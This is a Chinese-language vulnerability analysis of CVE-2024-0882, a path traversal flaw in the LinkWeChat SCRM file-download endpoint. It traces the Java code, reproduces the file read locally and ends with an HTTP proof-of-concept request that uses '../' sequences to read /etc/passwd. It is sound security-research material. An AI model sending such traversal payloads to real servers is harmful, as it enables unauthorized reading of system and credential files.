CVE-2024-0882 Scrm LinkWeChat 任意文件读取漏洞分析与研究

漏洞描述

LinkWeChat 是基于企业微信的开源 SCRM 系统,是企业私域流量管理与营销的综合解决方案。
LinkWeChat 基于企业微信开放能力,不仅集成了企微强大的后台管理及基础的客户管理功能,而且提供了多种渠道、多个方式连接微信客户。并通过客情维系、聊天增强等灵活高效的客户运营模块,让客户与企业之间建立强链接,从而进一步通过多元化的营销工具,帮助企业提高客户运营效率,强化营销能力,拓展盈利空间。
主要运用于电商、零售、教育、金融、政务等服务行业领域。​​​​​​

开发语言:Java官网地址:https://www.linkwechat.net/项目地址:https://github.com/qwdigital/LinkWechat-Scrm
漏洞后端代码

文件位于
linkwe-auth\src\main\java\com\linkwechat\web\controller\common\CommonController.java

这个控制器下存在一个resourceDownload方法

CVE-2024-0882 Scrm LinkWeChat 任意文件读取漏洞分析与研究_第1张图片

/**
 * 本地资源通用下载
 */
@GetMapping("/common/download/resource")
public void resourceDownload(String name, HttpServletRequest request, HttpServletResponse response) throws Exception {
    // 本地资源路径
    String localPath = LinkWeChatConfig.getProfile();
    // 数据库资源地址
    String downloadPath = localPath + StringUtils.substringAfter(name, Constants.RESOURCE_PREFIX);
    // 下载名称
    String downloadName = StringUtils.substringAfterLast(downloadPath, "/");
    response.setCharacterEncoding("utf-8");
    response.setContentType("multipart/form-data");
    response.setHeader("Content-Disposition",
            "attachment;fileName=" + FileUtils.setFileDownloadHeader(request, downloadName));
    FileUtils.writeBytes(downloadPath, response.getOutputStream());
}

String localPath = LinkWeChatConfig.getProfile();后得到一个本地目录,例如D:/linkWeChat/uploadPath

看看StringUtils.substringAfter 这个工具方法对我们的name值做了什么处理

注意传入的参数Constants.RESOURCE_PREFIX 是/profile

CVE-2024-0882 Scrm LinkWeChat 任意文件读取漏洞分析与研究_第2张图片

跟入StringUtils.substringAfter 方法

CVE-2024-0882 Scrm LinkWeChat 任意文件读取漏洞分析与研究_第3张图片

其要注意的是

else语句块代码用于从字符串 str 中获取分隔符 separator 后面的子字符串,就是说name值里面必须要有/profile

之后与localPath进行拼接 组成downloadPath,这里就可以尝试用../的方式进行拼接,具体怎么样,让我们往后看...

跟入StringUtils.substringAfterLast方法 得到downloadName 值

CVE-2024-0882 Scrm LinkWeChat 任意文件读取漏洞分析与研究_第4张图片

提取最后一个“/”出现的位置---pos

pos != -1成立与pos != str.length() - separator.length()成立 则会获取字符串str的第pos+1个字符到结尾的所有字符 返回赋值downloadName

之后执行FileUtils.setFileDownloadHeader 返回字符串,设置返回头,至此downloadName就没什么事了  CVE-2024-0882 Scrm LinkWeChat 任意文件读取漏洞分析与研究_第5张图片

 我们重点分析FileUtils.writeBytes方法,  

CVE-2024-0882 Scrm LinkWeChat 任意文件读取漏洞分析与研究_第6张图片

 我们在new File的时候,如果filepath有../jdk底层会正确解析吗! 经过测试new File的确可以接受../的文件名可以正常被解析

漏洞本地漏洞复现

本次复现不同以往,此次使用本地代码运行验证改漏洞的存在

public static void main(String[] args) throws IOException {
        String localPath = LinkWeChatConfig.getProfile();
        String filePath = "D:\\文档\\1.txt";
        OutputStream os = new FileOutputStream(new File(filePath));

        // 数据库资源地址
        String name = "/profile/../../../../../../../../../../windows/win.ini";
        String downloadPath = localPath + StringUtils.substringAfter(name, Constants.RESOURCE_PREFIX);
        // 下载名称
        String downloadName = StringUtils.substringAfterLast(downloadPath, "/");

        FileUtils.writeBytes(downloadPath, os);
/*        new SpringApplicationBuilder(LinkWeAuthApplication.class)
                .properties("spring.config.name:bootstrap", "config/run/bootstrap.yml")
                .properties("spring.application.name=linkwe-auth")
                .build().run(args);
        System.out.println("(♥◠‿◠)ノ゙  LinkWe-auth启动成功   ლ(´ڡ`ლ)゙ ");*/
    }

没有找到准备的test文件夹测试,索性直接注释掉启动代码,将resourceDownload方法内的代码搬过来。设置name值模拟用户输入

CVE-2024-0882 Scrm LinkWeChat 任意文件读取漏洞分析与研究_第7张图片

运行,如果不出意外,1.txt已经被写入win.ini的内容,与实际访问不同的是,服务器是以流的形式返回给用户

CVE-2024-0882 Scrm LinkWeChat 任意文件读取漏洞分析与研究_第8张图片 

win.ini的确存在,漏洞验证成功。

附赠poc

GET /linkwechat-api/common/download/resource?name=/profile/../../../../../etc/passwd HTTP/1.1
Host: 
Cookie: Admin-Token=[需要]
authorization: [需要]

后续修复

-----本次测试是LinkWechat-Scrm-5.1.0版本,漏洞作者验证这个版本漏洞存在。目前最新版没有对这个方法类做任何修改....但不确定name值在参数绑定前,过滤会怎么判断它......能否被利用需实际测试.......

你可能感兴趣的:(java代码审计,安全,web安全,java)